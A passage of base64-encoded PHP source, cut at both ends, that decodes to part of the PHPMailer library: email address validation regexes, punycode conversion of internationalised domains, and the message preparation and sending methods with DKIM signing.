ZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzL